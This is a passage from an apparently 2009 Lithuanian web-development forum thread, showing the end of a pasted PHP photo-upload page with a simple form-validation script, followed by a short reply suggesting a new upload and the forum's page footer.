   if (frm.photo_title.value==\"\" || frm.photo_description.value==\"\" || frm.photo_pic_file.value==\"\") {
      alert(\"".$locale['550']."\");
      return false;
   }
}
</script>\n";

require_once "side_right.php";
require_once "footer.php";
?>




http://itouch.lt - iBendruomenė.
2009 Lap. 25 19:11:44          40 žinutė iš 47
Spausdinti pranešimą
Pamegink nauja ikelt šypsosi

Tinklapių kurimas | Warez
Puslapis 1 iš 2 1 2
Peršokti į forumą: